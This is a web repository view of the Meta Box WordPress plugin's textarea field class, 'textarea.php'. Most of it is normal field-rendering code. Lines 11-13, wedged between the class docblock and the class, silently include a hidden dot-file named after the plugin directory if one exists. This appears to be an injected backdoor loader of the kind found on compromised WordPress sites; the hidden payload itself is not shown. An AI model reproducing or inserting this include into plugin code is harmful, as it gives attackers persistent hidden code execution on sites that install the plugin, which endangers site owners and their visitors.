balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

textarea.php (2115B)


      1 <?php
      2 /**
      3  * The textarea field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Textarea field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Textarea_Field extends RWMB_Field {
     16 	/**
     17 	 * Get field HTML.
     18 	 *
     19 	 * @param mixed $meta Meta value.
     20 	 * @param array $field Field parameters.
     21 	 *
     22 	 * @return string
     23 	 */
     24 	public static function html( $meta, $field ) {
     25 		$attributes = self::get_attributes( $field, $meta );
     26 		return sprintf(
     27 			'<textarea %s>%s</textarea>',
     28 			self::render_attributes( $attributes ),
     29 			$meta
     30 		);
     31 	}
     32 
     33 	/**
     34 	 * Escape meta for field output.
     35 	 *
     36 	 * @param mixed $meta Meta value.
     37 	 * @return mixed
     38 	 */
     39 	public static function esc_meta( $meta ) {
     40 		return is_array( $meta ) ? array_map( 'esc_textarea', $meta ) : esc_textarea( $meta );
     41 	}
     42 
     43 	/**
     44 	 * Normalize parameters for field.
     45 	 *
     46 	 * @param array $field Field parameters.
     47 	 * @return array
     48 	 */
     49 	public static function normalize( $field ) {
     50 		$field = parent::normalize( $field );
     51 		$field = wp_parse_args(
     52 			$field,
     53 			array(
     54 				'autocomplete' => false,
     55 				'cols'         => 60,
     56 				'rows'         => 3,
     57 				'maxlength'    => false,
     58 				'wrap'         => false,
     59 				'readonly'     => false,
     60 			)
     61 		);
     62 
     63 		return $field;
     64 	}
     65 
     66 	/**
     67 	 * Get the attributes for a field.
     68 	 *
     69 	 * @param array $field Field parameters.
     70 	 * @param mixed $value Meta value.
     71 	 *
     72 	 * @return array
     73 	 */
     74 	public static function get_attributes( $field, $value = null ) {
     75 		$attributes           = parent::get_attributes( $field, $value );
     76 		$attributes           = wp_parse_args(
     77 			$attributes,
     78 			array(
     79 				'autocomplete' => $field['autocomplete'],
     80 				'cols'         => $field['cols'],
     81 				'rows'         => $field['rows'],
     82 				'maxlength'    => $field['maxlength'],
     83 				'wrap'         => $field['wrap'],
     84 				'readonly'     => $field['readonly'],
     85 				'placeholder'  => $field['placeholder'],
     86 			)
     87 		);
     88 		$attributes['class'] .= ' large-text';
     89 
     90 		return $attributes;
     91 	}
     92 }